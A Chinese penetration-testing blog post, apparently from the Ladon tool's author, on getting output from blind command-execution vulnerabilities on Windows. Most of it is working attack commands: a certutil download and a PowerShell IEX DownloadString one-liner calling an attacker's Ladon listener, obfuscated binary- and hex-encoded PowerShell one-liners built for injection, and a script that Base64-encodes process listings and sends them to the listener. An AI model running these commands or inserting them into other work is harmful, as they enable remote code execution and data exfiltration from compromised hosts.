logo

K8哥哥

没有绝对安全的系统

无回显命令执行漏洞之PowerShell回显

本文于 981 天之前发表

前言

很多时候命令回显漏洞由于一些特殊原因,无法构造或不方便构造回显,上回讲到JAVA反序列化漏洞Ladon回显方法。本文针对Windows系统实现命令执行漏洞回显方法,使用系统自带certutil或Powershell命令,虽说JAVA跨平台但并不代表所有系统都预装有JAVA,实际上.NET一样是跨平台的,前提都要系统安装才可以,那么对于未安装JAVA的机器或非JAVA程序产生的命令执行漏洞,如何实现命令回显,将是本文讲述的重点。JAVA篇:http://k8gege.org/Ladon/web_javarce.html

启动WEB

1
Ladon web 800

PS: 建议使用8.1以后版本,以免netstat -an等长度过长结果无法接收

参数

1
2
3
4
5
/ip.txt or ip.jpg        Get Target WanIP
/getstr/AnyString Get Request String
/getb64/AnyString Base64 Encode (Request String)
/deb64/Base64String Base64 Decode (Request String)
/deb64txt/Base64String Base64 Decode Save TXT

浏览器回显

由于是HTTP协议,可以通过浏览器访问得到Ladon回显BASE64解密结果,就是说我们只要通过命令行发送HTTP请求即可在Ladon控制台看到命令执行后的结果。getstr为发送明文,但是结果中有特殊字符或换行就无法HTTP请求了,所以我们使用BASE64加密,这个原理我们在JAVA反序列化漏洞回显中有提到过。

明文回显

http://192.168.1.43:800/getstr/cve2020

Base64回显

http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=

保存txt

http://192.168.1.131:800/deb64txt/MTIzMTIzMTIzMTIzMTI=
http://192.168.1.131:800/debase64txt/MTIzMTIzMTIzMTIzMTI=

image

certutill回显

1
certutil.exe -urlcache -split -f http://192.168.1.43:800/getstr/cve2020

PowerShell回显

1
powershell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.131:800/debase64/MTIzMTIzMTIzMTIzMTI=')"

执行以上命令,可以在Ladon中得到回显,但是实战中,我们不可能未补先知,直接能返回结果,所以得先执行命令,获取结果转成BASE64后再发送给Ladon解密,所以我们接下来要研究,如何通过powershell执行任意命令并加密发送给Ladon

查看进程例子

test.ps1

1
2
$info=get-process;
echo $info;

使用LadonGUI版的编码转换功能将代码转成一行CMD命令,因为命令执行漏洞一般不支持执行多行PS1脚本,经过转换后可以得到命令执行漏洞通用的一行CMD命令。测试发现可以使用Binary或hex等加密将PowerShell代码转成一条命令,以便结合漏洞使用

Ladon Base64Command失败

提示 =get-process : The term ‘=get-process’ is not recognized as the name of a

Ladon Binary成功

1
powershell  -NoP  -NonIntera   "[stRinG]::join( '', ( ( 100100 , 1101001,1101110 , 1100110 ,1101111 , 111101 ,1100111,1100101, 1110100, 101101,1110000,1110010 ,1101111, 1100011,1100101,1110011,1110011 , 111011,1101 ,1010,1100101, 1100011,1101000 ,1101111 ,100000,100100,1101001 , 1101110 ,1100110 ,1101111 ,111011)|fOreAcH-objEct{([convERT]::ToInT16(($_.TOstRInG()),2) -as [CHAr])}) )| & ((VaRIABle '*MDr*').nAme[3,11,2]-JoIn'')"

Ladon hex成功

1
powershell   -NonInteract  -NoProfi     "('24S69k6e!66!6f!3dU67!65h74-2dS70S72O6f;63O65k73S73;3b;d!a-65-63!68;6f!20k24h69;6ek66h6fU3b'.sPLIt( 'UOh-;!kS' ) | FOreaCh-objECt{ ( [chAR]( [cONVerT]::TOInt16( ( [STRinG]$_ ) ,16))) } ) -JOiN '' | . ( $eNv:comSPeC[4,15,25]-JoiN'')"

查看进程信息

1
2
3
4
5
6
7
8
9
10
$info=get-process
$user = $env:username
echo $info

$bytes = [System.Text.Encoding]::UTF8.GetBytes($info)
$b64 = [System.Convert]::ToBase64String($bytes)
echo $b64.Replace("=","%3d")

$webClient = New-Object System.Net.WebClient
$webClient.DownloadString('http://192.168.1.18:800/debase64/'+$b64)

PS:查看其它命令,可以自行修改

image

Download

LadonGo (ALL OS)

https://github.com/k8gege/LadonGo/releases

Ladon (Windows & Cobalt Strike)

历史版本: https://github.com/k8gege/Ladon/releases
7.0版本:http://k8gege.org/Download
8.1版本:K8小密圈

扫码加入K8小密圈